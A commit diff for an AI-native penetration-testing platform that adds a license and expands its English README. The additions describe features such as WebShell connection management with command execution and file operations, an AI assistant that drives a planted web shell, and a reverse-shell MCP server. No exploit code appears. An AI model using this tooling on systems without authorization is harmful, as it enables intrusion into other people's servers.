Update config.yaml

Removed the logic to ensure at least one user message is included in recent messages to avoid Qwen model error.

.github/ISSUE_TEMPLATE/bug_report.md

@@ -1,78 +0,0 @@
----
-name: 🐛 Bug / 异常问题反馈
-about: 报告一个 Bug 或异常问题
-title: '[BUG] '
-labels: ['bug', '待确认']
-assignees: ''
----
-
-## 📋 问题描述
-<!-- 请清晰、简洁地描述遇到的问题 -->
-
-
-## 🔄 复现步骤
-<!-- 请详细描述如何复现这个问题 -->
-1. 
-2. 
-3. 
-4. 
-
-## ✅ 期望行为
-<!-- 描述你期望的正确行为是什么 -->
-
-
-## ❌ 实际行为
-<!-- 描述实际发生了什么 -->
-
-
-## 📸 截图/录屏
-<!-- 
-⚠️ 重要：请提供完整的截图或录屏，确保包含：
-- 完整的错误信息
-- 相关的界面元素
-- 浏览器控制台错误（如有）
-- 终端输出（如有）
-
-如果截图不完整，issue 可能会被关闭。
--->
-
-<!-- 请在此处拖拽或粘贴截图 -->
-
-
-## 📝 报错日志（脱敏后）
-<!-- 
-⚠️ 重要：请提供完整的、脱敏后的报错日志。
-
-脱敏要求：
-- 移除所有敏感信息（API Key、密码、Token、真实IP地址、域名等）
-- 使用占位符替换，如：`sk-xxx`、`password: ***`、`192.168.x.x`、`example.com`
-- 保留完整的错误堆栈信息
-- 保留时间戳和日志级别
-
-请从以下位置收集日志：
-1. MCP状态监控 页面
-2. 服务器终端输出
-3. 日志文件（如果配置了文件输出）
-4. 浏览器控制台（F12 → Console）
--->
-
-```
-请在此处粘贴脱敏后的完整报错日志
-```
-
-
-## ✅ 检查清单
-<!-- 提交前请确认以下项目 -->
-
-- [ ] 我已阅读并理解项目的 Issue 规范
-- [ ] 我已提供完整的、脱敏后的报错日志
-- [ ] 我已提供完整的截图（如适用）
-- [ ] 我已提供详细的复现步骤
-- [ ] 我已填写所有必要的环境信息
-- [ ] 我已脱敏所有敏感信息（API Key、密码、IP 等）
-- [ ] 我已确认这不是重复的 issue
-
----
-
-**注意**：如果缺少必要的日志或截图，此 issue 可能会被标记为 `需要更多信息` 或直接关闭。请确保提供完整的信息以便我们能够快速定位和解决问题。
-

.github/ISSUE_TEMPLATE/feature_request.md

@@ -1,68 +0,0 @@
----
-name: ✨ 功能优化建议
-about: 提出新功能或优化建议
-title: '[FEATURE] '
-labels: ['enhancement', '待讨论']
-assignees: ''
----
-
-## 💡 功能描述
-<!-- 请清晰、简洁地描述你希望添加或优化的功能 -->
-
-
-## 🎯 使用场景
-<!-- 描述这个功能的使用场景，解决什么问题 -->
-<!-- 例如：在什么情况下会用到这个功能？它如何改善用户体验？ -->
-
-
-## 🔄 当前行为
-<!-- 描述当前系统是如何处理相关需求的，或者为什么需要这个功能 -->
-
-
-## ✨ 期望行为
-<!-- 详细描述你期望的新功能或优化后的行为 -->
-
-
-## 📸 参考示例（如有）
-<!-- 
-如果有其他项目的类似功能实现，可以在此提供截图或链接作为参考
-⚠️ 请确保截图完整，包含所有相关界面元素
--->
-
-<!-- 请在此处拖拽或粘贴参考截图 -->
-
-
-## 🛠️ 实现建议（可选）
-<!-- 如果你有具体的实现思路或技术建议，可以在此描述 -->
-
-
-## 📊 优先级评估
-<!-- 请选择你认为的优先级 -->
-- [ ] 🔴 高优先级（严重影响使用体验或功能缺失）
-- [ ] 🟡 中优先级（能显著改善体验）
-- [ ] 🟢 低优先级（锦上添花的功能）
-
-## 🔍 相关功能
-<!-- 这个功能是否与现有功能相关？ -->
-<!-- 例如：是否与工具管理、攻击链分析、知识库等功能相关？ -->
-
-
-## 📝 额外信息
-<!-- 任何其他有助于理解需求的信息 -->
-- 是否已有替代方案？
-- 这个功能是否会影响现有功能？
-- 是否有相关的其他 issue 或讨论？
-
-## ✅ 检查清单
-<!-- 提交前请确认以下项目 -->
-
-- [ ] 我已清晰描述了功能需求和使用场景
-- [ ] 我已提供完整的参考截图（如有）
-- [ ] 我已评估了功能的优先级
-- [ ] 我已确认这不是重复的 issue
-- [ ] 我已考虑了对现有功能的影响
-
----
-
-**注意**：请提供尽可能详细的信息，包括使用场景、参考示例等，这将有助于我们更好地理解和实现你的需求。
-

LICENSE

@@ -0,0 +1,201 @@
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright 2025 Ed1s0nZ
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

README.md

@@ -7,6 +7,8 @@
 
 [中文](README_CN.md) | [English](README.md)
 
+**Community**: [Join us on Discord](https://discord.gg/8PjVCMu8Zw)
+
 CyberStrikeAI is an **AI-native security testing platform** built in Go. It integrates 100+ security tools, an intelligent orchestration engine, role-based testing with predefined security roles, a skills system with specialized testing skills, and comprehensive lifecycle management capabilities. Through native MCP protocol and AI agents, it enables end-to-end automation from conversational commands to vulnerability discovery, attack-chain analysis, knowledge retrieval, and result visualization—delivering an auditable, traceable, and collaborative testing environment for security teams.
 
 
@@ -14,6 +16,12 @@ CyberStrikeAI is an **AI-native security testing platform** built in Go. It inte
 
 <div align="center">
 
+### System Dashboard Overview
+
+<img src="./images/dashboard.png" alt="System Dashboard" width="100%">
+
+*The dashboard provides a comprehensive overview of system runtime status, security vulnerabilities, tool usage, and knowledge base, helping users quickly understand the platform's core features and current state.*
+
 ### Core Features Overview
 
 <table>
@@ -59,6 +67,14 @@ CyberStrikeAI is an **AI-native security testing platform** built in Go. It inte
 <img src="./images/role-management.png" alt="Role Management" width="100%">
 </td>
 </tr>
+<tr>
+<td width="33.33%" align="center">
+<strong>WebShell Management</strong><br/>
+<img src="./images/webshell-management.png" alt="WebShell Management" width="100%">
+</td>
+<td width="33.33%" align="center"></td>
+<td width="33.33%" align="center"></td>
+</tr>
 </table>
 
 </div>
@@ -76,7 +92,10 @@ CyberStrikeAI is an **AI-native security testing platform** built in Go. It inte
 - 🛡️ Vulnerability management with CRUD operations, severity tracking, status workflow, and statistics
 - 📋 Batch task management: create task queues, add multiple tasks, and execute them sequentially
 - 🎭 Role-based testing: predefined security testing roles (Penetration Testing, CTF, Web App Scanning, etc.) with custom prompts and tool restrictions
+- 🧩 **Multi-agent mode (Eino DeepAgent)**: optional orchestration where a coordinator delegates work to Markdown-defined sub-agents via the `task` tool; main agent in `agents/orchestrator.md` (or `kind: orchestrator`), sub-agents under `agents/*.md`; chat mode switch when `multi_agent.enabled` is true (see [Multi-agent doc](docs/MULTI_AGENT_EINO.md))
 - 🎯 Skills system: 20+ predefined security testing skills (SQL injection, XSS, API security, etc.) that can be attached to roles or called on-demand by AI agents
+- 📱 **Chatbot**: DingTalk and Lark (Feishu) long-lived connections so you can talk to CyberStrikeAI from mobile (see [Robot / Chatbot guide](docs/robot_en.md) for setup and commands)
+ - 🐚 **WebShell management**: Add and manage WebShell connections (e.g. IceSword/AntSword compatible), use a virtual terminal for command execution, a built-in file manager for file operations, and an AI assistant tab that orchestrates tests and keeps per-connection conversation history; supports PHP, ASP, ASPX, JSP and custom shell types with configurable request method and command parameter.
 
 ## Tool Overview
 
@@ -154,14 +173,37 @@ go build -o cyberstrike-ai cmd/server/main.go
 
 **Note:** The Python virtual environment (`venv/`) is automatically created and managed by `run.sh`. Tools that require Python (like `api-fuzzer`, `http-framework-test`, etc.) will automatically use this environment.
 
+### Version Update (No Breaking Changes)
+
+**CyberStrikeAI one-click upgrade (recommended):**
+1. (First time) enable the script: `chmod +x upgrade.sh`
+2. Upgrade with: `./upgrade.sh` (optional flags: `--tag vX.Y.Z`, `--no-venv`, `--preserve-custom`, `--yes`)
+3. The script will back up your `config.yaml` and `data/`, upgrade the code from GitHub Release, update `config.yaml`'s `version`, then restart the server.
+
+Recommended one-liner:
+`chmod +x upgrade.sh && ./upgrade.sh --yes`
+
+If something goes wrong, you can restore from `.upgrade-backup/` (or manually copy `/data` and `config.yaml` back) and run `./run.sh` again.
+
+Requirements / tips:
+* You need `curl` or `wget` for downloading Release packages.
+* `rsync` is recommended/required for the safe code sync.
+* If GitHub API rate-limits you, set `export GITHUB_TOKEN="..."` before running `./upgrade.sh`.
+
+⚠️ **Note:** This procedure only applies to version updates without compatibility or breaking changes. If a release includes compatibility changes, this method may not apply.
+
+**Examples:** No breaking changes — e.g. v1.3.1 → v1.3.2; with breaking changes — e.g. v1.3.1 → v1.4.0. The project follows [Semantic Versioning](https://semver.org/) (SemVer): when only the patch version (third number) changes, this upgrade path is usually safe; when the minor or major version changes, config, data, or APIs may have changed — check the release notes before using this method.
+
 ### Core Workflows
 - **Conversation testing** – Natural-language prompts trigger toolchains with streaming SSE output.
+- **Single vs multi-agent** – With `multi_agent.enabled: true`, the chat UI can switch between **single** (classic ReAct loop) and **multi** (Eino DeepAgent + `task` sub-agents). Multi mode uses `/api/multi-agent/stream`; tools are bridged from the same MCP stack as single-agent.
 - **Role-based testing** – Select from predefined security testing roles (Penetration Testing, CTF, Web App Scanning, API Security Testing, etc.) to customize AI behavior and tool availability. Each role applies custom system prompts and can restrict available tools for focused testing scenarios.
 - **Tool monitor** – Inspect running jobs, execution logs, and large-result attachments.
 - **History & audit** – Every conversation and tool invocation is stored in SQLite with replay.
 - **Conversation groups** – Organize conversations into groups, pin important groups, rename or delete groups via context menu.
 - **Vulnerability management** – Create, update, and track vulnerabilities discovered during testing. Filter by severity (critical/high/medium/low/info), status (open/confirmed/fixed/false_positive), and conversation. View statistics and export findings.
 - **Batch task management** – Create task queues with multiple tasks, add or edit tasks before execution, and run them sequentially. Each task executes as a separate conversation, with status tracking (pending/running/completed/failed/cancelled) and full execution history.
+- **WebShell management** – Add and manage WebShell connections (PHP/ASP/ASPX/JSP or custom). Use the virtual terminal to run commands, the file manager to list, read, edit, upload, and delete files, and the AI assistant tab to drive scripted tests with per-connection conversation history. Connections are stored in SQLite; supports GET/POST and configurable command parameter (e.g. IceSword/AntSword style).
 - **Settings** – Tweak provider keys, MCP enablement, tool toggles, and agent iteration limits.
 
 ### Built-in Safeguards
@@ -198,6 +240,15 @@ go build -o cyberstrike-ai cmd/server/main.go
    ```
 2. Restart the server or reload configuration; the role appears in the role selector dropdown.
 
+### Multi-Agent Mode (Eino DeepAgent)
+- **What it is** – An optional second execution path based on CloudWeGo **Eino** `adk/prebuilt/deep`: a **coordinator** (main agent) calls a **`task`** tool to run ephemeral **sub-agents**, each with its own model loop and tool set derived from the current role.
+- **Markdown agents** – Under `agents_dir` (default `agents/`, relative to `config.yaml`), define:
+  - **Orchestrator**: file name `orchestrator.md` *or* any `.md` with front matter `kind: orchestrator` (only **one** per directory). Sets Deep agent name/id, description, and optional full system prompt (body); if the body is empty, `multi_agent.orchestrator_instruction` and then Eino defaults apply.
+  - **Sub-agents**: other `*.md` files (YAML front matter + body as instruction). They are **not** used as `task` targets if classified as orchestrator.
+- **Management** – Web UI: **Agents → Agent management** for CRUD on Markdown agents; API prefix `/api/multi-agent/markdown-agents`.
+- **Config** – `multi_agent` block in `config.yaml`: `enabled`, `default_mode` (`single` | `multi`), `robot_use_multi_agent`, `batch_use_multi_agent`, `max_iteration`, `orchestrator_instruction`, optional YAML `sub_agents` merged with disk (same `id` → Markdown wins).
+- **Details** – Streaming events, robots, batch queue, and troubleshooting: **[docs/MULTI_AGENT_EINO.md](docs/MULTI_AGENT_EINO.md)**.
+
 ### Skills System
 - **Predefined skills** – System includes 20+ predefined security testing skills (SQL injection, XSS, API security, cloud security, container security, etc.) in the `skills/` directory.
 - **Skill hints in prompts** – When a role is selected, skill names attached to that role are added to the system prompt as recommendations. Skill content is not automatically injected; AI agents must use the `read_skill` tool to access skill details when needed.
@@ -228,10 +279,19 @@ go build -o cyberstrike-ai cmd/server/main.go
 - The web UI renders the chain as an interactive graph with severity scoring and step replay.
 - Export the chain or raw findings to external reporting pipelines.
 
+### WebShell Management
+- **Connections** – From the Web UI, go to **WebShell Management** to add, edit, or delete WebShell connections. Each connection stores: Shell URL, password/key, shell type (PHP, ASP, ASPX, JSP, Custom), request method (GET/POST), command parameter name (default `cmd`), and an optional remark; all records persist in SQLite and are compatible with common clients such as IceSword and AntSword.
+- **Virtual terminal** – After selecting a connection, use the **Virtual terminal** tab to run arbitrary commands with history and quick commands (whoami/id/ls/pwd etc.). Output is streamed in the browser, and Ctrl+L clears the screen.
+- **File manager** – Use the **File manager** tab to list directories, read or edit files, delete files, create folders/files, upload files (including chunked uploads for large files), rename paths, and download selected files. Path navigation supports breadcrumbs, parent directory jumps, and name filtering.
+- **AI assistant** – Use the **AI assistant** tab to chat with an agent that understands the current WebShell connection, automatically runs tools and shell commands, and maintains per-connection conversation history with a sidebar of previous sessions.
+- **Connectivity test** – Use **Test connectivity** to verify that the shell URL, password, and command parameter are correct before running commands (sends a lightweight `echo 1` check).
+- **Persistence** – All WebShell connections and AI conversations are stored in SQLite (same database as conversations), so they persist across restarts.
+
 ### MCP Everywhere
 - **Web mode** – ships with HTTP MCP server automatically consumed by the UI.
 - **MCP stdio mode** – `go run cmd/mcp-stdio/main.go` exposes the agent to Cursor/CLI.
 - **External MCP federation** – register third-party MCP servers (HTTP, stdio, or SSE) from the UI, toggle them per engagement, and monitor their health and call volume in real time.
+- **Optional MCP servers** – the [`mcp-servers/`](mcp-servers/README.md) directory provides standalone MCPs (e.g. reverse shell). They speak standard MCP over stdio and work with CyberStrikeAI (Settings → External MCP), Cursor, VS Code, and other MCP clients.
 
 #### MCP stdio quick start
 1. **Build the binary** (run from the project root):
@@ -255,21 +315,33 @@ go build -o cyberstrike-ai cmd/server/main.go
    ```
    Replace the paths with your local locations; Cursor will launch the stdio server automatically.
 
-#### MCP HTTP quick start
-1. Ensure `config.yaml` has `mcp.enabled: true` and adjust `mcp.host` / `mcp.port` if you need a non-default binding (localhost:8081 works well for local Cursor usage).
-2. Start the main service (`./run.sh` or `go run cmd/server/main.go`); the MCP endpoint lives at `http://<host>:<port>/mcp`.
-3. In Cursor, choose **Add Custom MCP → HTTP** and set `Base URL` to `http://127.0.0.1:8081/mcp`.
-4. Prefer committing the setup via `.cursor/mcp.json` so teammates can reuse it:
-   ```json
-   {
-     "mcpServers": {
-       "cyberstrike-ai-http": {
-         "transport": "http",
-         "url": "http://127.0.0.1:8081/mcp"
-       }
-     }
-   }
-   ```
+#### MCP HTTP quick start (Cursor / Claude Code)
+The HTTP MCP server runs on a separate port (default `8081`) and supports **header-based authentication** so only clients that send the correct header can call tools.
+
+1. **Enable MCP in config** – In `config.yaml` set `mcp.enabled: true` and optionally `mcp.host` / `mcp.port`. For auth (recommended if the port is reachable from the network), set:
+   - `mcp.auth_header` – header name (e.g. `X-MCP-Token`);
+   - `mcp.auth_header_value` – secret value. **Leave it empty** if you want the server to **auto-generate** a random token on first start and write it back to the config.
+2. **Start the service** – Run `./run.sh` or `go run cmd/server/main.go`. The MCP endpoint is `http://<host>:<port>/mcp` (e.g. `http://localhost:8081/mcp`).
+3. **Copy the JSON from the terminal** – When MCP is enabled, the server prints a **ready-to-paste** JSON block. If `auth_header_value` was empty, it will have been generated and saved; the printed JSON includes the URL and headers.
+4. **Use in Cursor or Claude Code**:
+   - **Cursor**: Paste the block into `~/.cursor/mcp.json` (or your project’s `.cursor/mcp.json`) under `mcpServers`, or merge it into your existing `mcpServers`.
+   - **Claude Code**: Paste into `.mcp.json` or `~/.claude.json` under `mcpServers`.
+
+Example of what the terminal prints (with auth enabled):
+```json
+{
+  "mcpServers": {
+    "cyberstrike-ai": {
+      "url": "http://localhost:8081/mcp",
+      "headers": {
+        "X-MCP-Token": "<auto-generated-or-your-value>"
+      },
+      "type": "http"
+    }
+  }
+}
+```
+If you do not set `auth_header` / `auth_header_value`, the endpoint accepts requests without authentication (suitable only for localhost or trusted networks).
 
 #### External MCP federation (HTTP/stdio/SSE)
 CyberStrikeAI supports connecting to external MCP servers via three transport modes:
@@ -367,9 +439,11 @@ A test SSE MCP server is available at `cmd/test-sse-mcp-server/` for validation
 
 ### Automation Hooks
 - **REST APIs** – everything the UI uses (auth, conversations, tool runs, monitor, vulnerabilities, roles) is available over JSON.
+- **Multi-agent APIs** – `POST /api/multi-agent/stream` (SSE, when enabled), `POST /api/multi-agent` (non-streaming), Markdown agents under `/api/multi-agent/markdown-agents` (list/get/create/update/delete).
 - **Role APIs** – manage security testing roles via `/api/roles` endpoints: `GET /api/roles` (list all roles), `GET /api/roles/:name` (get role), `POST /api/roles` (create role), `PUT /api/roles/:name` (update role), `DELETE /api/roles/:name` (delete role). Roles are stored as YAML files in the `roles/` directory and support hot-reload.
 - **Vulnerability APIs** – manage vulnerabilities via `/api/vulnerabilities` endpoints: `GET /api/vulnerabilities` (list with filters), `POST /api/vulnerabilities` (create), `GET /api/vulnerabilities/:id` (get), `PUT /api/vulnerabilities/:id` (update), `DELETE /api/vulnerabilities/:id` (delete), `GET /api/vulnerabilities/stats` (statistics).
 - **Batch Task APIs** – manage batch task queues via `/api/batch-tasks` endpoints: `POST /api/batch-tasks` (create queue), `GET /api/batch-tasks` (list queues), `GET /api/batch-tasks/:queueId` (get queue), `POST /api/batch-tasks/:queueId/start` (start execution), `POST /api/batch-tasks/:queueId/cancel` (cancel), `DELETE /api/batch-tasks/:queueId` (delete), `POST /api/batch-tasks/:queueId/tasks` (add task), `PUT /api/batch-tasks/:queueId/tasks/:taskId` (update task), `DELETE /api/batch-tasks/:queueId/tasks/:taskId` (delete task). Tasks execute sequentially, each creating a separate conversation with full status tracking.
+- **WebShell APIs** – manage WebShell connections and execute commands via `/api/webshell/connections` (GET list, POST create, PUT update, DELETE delete) and `/api/webshell/exec` (command execution), `/api/webshell/fileop` (list/read/write/delete files).
 - **Task control** – pause/resume/stop long scans, re-run steps with new params, or stream transcripts.
 - **Audit & security** – rotate passwords via `/api/auth/change-password`, enforce short-lived sessions, and restrict MCP ports at the network layer when exposing the service.
 
@@ -389,6 +463,8 @@ mcp:
   enabled: true
   host: "0.0.0.0"
   port: 8081
+  auth_header: "X-MCP-Token"       # optional; leave empty for no auth
+  auth_header_value: ""            # optional; leave empty to auto-generate on first start
 openai:
   api_key: "sk-xxx"
   base_url: "https://api.deepseek.com/v1"
@@ -412,6 +488,13 @@ knowledge:
     hybrid_weight: 0.7  # Weight for vector search (1.0 = pure vector, 0.0 = pure keyword)
 roles_dir: "roles"  # Role configuration directory (relative to config file)
 skills_dir: "skills"  # Skills directory (relative to config file)
+agents_dir: "agents"  # Multi-agent Markdown definitions (orchestrator + sub-agents)
+multi_agent:
+  enabled: false
+  default_mode: "single"   # single | multi (UI default when multi-agent is enabled)
+  robot_use_multi_agent: false
+  batch_use_multi_agent: false
+  orchestrator_instruction: ""  # Optional; used when orchestrator.md body is empty
 ```
 
 ### Tool Definition Example (`tools/nmap.yaml`)
@@ -454,6 +537,11 @@ tools:
 enabled: true
 ```
 
+## Related documentation
+
+- [Multi-agent mode (Eino)](docs/MULTI_AGENT_EINO.md): DeepAgent orchestration, `agents/*.md`, APIs, and chat/stream behavior.
+- [Robot / Chatbot guide (DingTalk & Lark)](docs/robot_en.md): Full setup, commands, and troubleshooting for using CyberStrikeAI from DingTalk or Lark on your phone. **Follow this doc to avoid common pitfalls.**
+
 ## Project Layout
 
 ```
@@ -464,6 +552,8 @@ CyberStrikeAI/
 ├── tools/               # YAML tool recipes (100+ examples provided)
 ├── roles/               # Role configurations (12+ predefined security testing roles)
 ├── skills/              # Skills directory (20+ predefined security testing skills)
+├── agents/              # Multi-agent Markdown (orchestrator.md + sub-agent *.md)
+├── docs/                # Documentation (e.g. robot/chatbot guide, MULTI_AGENT_EINO.md)
 ├── images/              # Docs screenshots & diagrams
 ├── config.yaml          # Runtime configuration
 ├── run.sh               # Convenience launcher
@@ -489,20 +579,6 @@ Compress the 5 MB nuclei report, summarize critical CVEs, and attach the artifac
 Build an attack chain for the latest engagement and export the node list with severity >= high.
 ```
 
-## Changelog
-
-### Recent Highlights
-
-- **2026-01-27** – OpenAPI documentation with interactive testing interface, supporting conversation management, message interaction, and result querying
-- **2026-01-15** – Skills system with 20+ predefined security testing skills
-- **2026-01-11** – Role-based testing with predefined security testing roles
-- **2026-01-08** – SSE transport mode support for external MCP servers
-- **2026-01-01** – Batch task management with queue-based execution
-- **2025-12-25** – Vulnerability management and conversation grouping features
-- **2025-12-20** – Knowledge base with vector search and hybrid retrieval
-
-
-
 ## 404Starlink 
 
 <img src="./images/404StarLinkLogo.png" width="30%">
@@ -516,8 +592,33 @@ CyberStrikeAI has joined [404Starlink](https://github.com/knownsec/404StarLink)
   </a>
 </div>
 
+## Stargazers over time
+![Stargazers over time](https://starchart.cc/Ed1s0nZ/CyberStrikeAI.svg)
 
 
+---
+
+## License
+
+CyberStrikeAI is licensed under the Apache License 2.0.  
+See the [LICENSE](LICENSE) file for details.
+
+---
+
+## ⚠️ Disclaimer
+
+**This tool is for educational and authorized testing purposes only!**
+
+CyberStrikeAI is a professional security testing platform designed to assist security researchers, penetration testers, and IT professionals in conducting security assessments and vulnerability research **with explicit authorization**.
+
+**By using this tool, you agree to:**
+- Use this tool only on systems where you have clear written authorization
+- Comply with all applicable laws, regulations, and ethical standards
+- Take full responsibility for any unauthorized use or misuse
+- Not use this tool for any illegal or malicious purposes
+
+**The developers are not responsible for any misuse!** Please ensure your usage complies with local laws and regulations, and that you have obtained explicit authorization from the target system owner.
+
 ---
 
 Need help or want to contribute? Open an issue or PR—community tooling additions are welcome!

README_CN.md

@@ -6,6 +6,8 @@
 
 [中文](README_CN.md) | [English](README.md)
 
+**社区**：[加入 Discord](https://discord.gg/8PjVCMu8Zw)
+
 CyberStrikeAI 是一款 **AI 原生安全测试平台**，基于 Go 构建，集成了 100+ 安全工具、智能编排引擎、角色化测试与预设安全测试角色、Skills 技能系统与专业测试技能，以及完整的测试生命周期管理能力。通过原生 MCP 协议与 AI 智能体，支持从对话指令到漏洞发现、攻击链分析、知识检索与结果可视化的全流程自动化，为安全团队提供可审计、可追溯、可协作的专业测试环境。
 
 
@@ -13,6 +15,12 @@ CyberStrikeAI 是一款 **AI 原生安全测试平台**，基于 Go 构建，集
 
 <div align="center">
 
+### 系统仪表盘概览
+
+<img src="./images/dashboard.png" alt="系统仪表盘" width="100%">
+
+*仪表盘提供系统运行状态、安全漏洞、工具使用情况和知识库的全面概览，帮助用户快速了解平台核心功能和当前状态。*
+
 ### 核心功能概览
 
 <table>
@@ -58,6 +66,14 @@ CyberStrikeAI 是一款 **AI 原生安全测试平台**，基于 Go 构建，集
 <img src="./images/role-management.png" alt="角色管理" width="100%">
 </td>
 </tr>
+<tr>
+<td width="33.33%" align="center">
+<strong>WebShell 管理</strong><br/>
